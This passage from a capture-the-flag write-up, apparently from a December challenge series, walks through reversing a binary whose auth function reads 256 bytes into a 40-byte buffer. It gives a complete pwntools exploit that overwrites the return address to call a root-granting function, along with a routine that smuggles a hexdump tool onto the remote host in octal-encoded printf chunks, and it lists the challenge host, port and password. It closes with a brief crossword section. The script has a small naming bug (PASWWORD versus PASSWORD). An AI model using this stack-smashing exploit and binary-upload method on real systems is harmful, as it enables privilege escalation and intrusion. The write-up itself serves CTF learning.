    # Upload in chunks
    for i in range(0, len(binary), CHUNK_SIZE):
        chunk = binary[i:i + CHUNK_SIZE]
        encoded = octal_encode(chunk)
        cmd = f"printf '{encoded}' >> {REMOTE_PATH}"
        io.sendline(cmd.encode())

    # Hexdump haxxxxme
    io.sendline(b"./grischtooling/sl grischtooling/haxxxxme")

    # Print everything we get back
    io.interactive()

if __name__ == "__main__":
    main()

After having decoded the dumped file we can first see that it is not stripped and thus contains debugging information, making the task of reversing it easier.

$ file haxxxxme
haxxxxme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5bed78c5c66779304f86c322a3bb306f13a0f646, for GNU/Linux 3.2.0, not stripped

We can de-compile it with Ghidra and locate the auth function that we are interested in (I’ve chosen appropriate types and variable names):

void auth(void) {
  int comparisonResult;
  unsigned char randomData[32];
  unsigned char inputPassword[40];
  FILE *randomFile;

  printf("enter the secret password lil bro: ");
  read(0,inputPassword,256);
  randomFile = fopen("/dev/urandom","rb");
  if (randomFile == NULL) {
    perror("fopen");
    exit(1);
  }
  fread(randomData,1,32,randomFile);
  fclose(randomFile);
  comparisonResult = memcmp(inputPassword,randomData,32);
  if (comparisonResult == 0) {
    puts("access granted!");
    boom();
  }
  else {
    puts("access denied!");
  }
  return;
}

It selects a random password by polling /dev/urandom and if it matches the first 32 bytes of the user-supplied value the subroutine boom is called, which upgrades the shell to root.

It is not feasible to ever be lucky enough to guess the random password correctly. Instead, we note that the program reads 256 bytes of input into an array of 40 bytes. This is a perfect opportunity to smash the stack! We can supply a long input and overwrite the return pointer of the auth function on the stack, so that when it returns it will return to whatever address we want. We want to it call boom() to upgrade our shell.

With the help of GDB we can find out that the return pointer begins at the 57th byte of our input. We can also find that boom has a static address of 0x00401206. Our payload to input thus should be 56 bytes of anything followed by the address of boom. We write another pwntools script to supply the payload to haxxxxme to upgrade our shell, and then dump secret using the hexdump program like before.

from pwn import *

HOST = "lucks.djul.se"
PORT = 16767
PASWWORD = "67grischfortnite1337"

LOCAL_PATH = "./hexdump"
REMOTE_PATH = "grischtooling/sl"
CHUNK_SIZE = 200

boom_address = 0x00401206
buffer_size = 56
PAYLOAD = b"A" * buffer_size + p64(boom_address) + p64(0)

def octal_encode(data: bytes) -> str:
    return "".join(f"\\{b:03o}" for b in data)

def main():
    io = remote(HOST, PORT)
    io.sendline(PASSWORD.encode())

    # Run haxxxxme and input the payload
    io.sendline("./grischtooling/haxxxxme".encode())
    io.sendline(PAYLOAD)

    with open(LOCAL_PATH, "rb") as f:
        binary = f.read()

    for i in range(0, len(binary), CHUNK_SIZE):
        chunk = binary[i:i + CHUNK_SIZE]
        encoded = octal_encode(chunk)

        cmd = f"printf '{encoded}' >> {REMOTE_PATH}"
        io.sendline(cmd.encode())

    # Hexdump secret
    io.sendline(b"./grischtooling/sl secret")

    io.interactive()

if __name__ == "__main__":
    main()

All that is left is to decode the hexdump to reveal the solution to the challenge.

What was the sought word you may ask? I have no clue, I forgot to note it down (:

Window 24: The Tell-Tale Crumb
#

This non-scored final challenge is a crossword puzzle, giving you a cozy and stress-free end of dJul.

Crossword solution

We read the final solution, IMPOSTOR.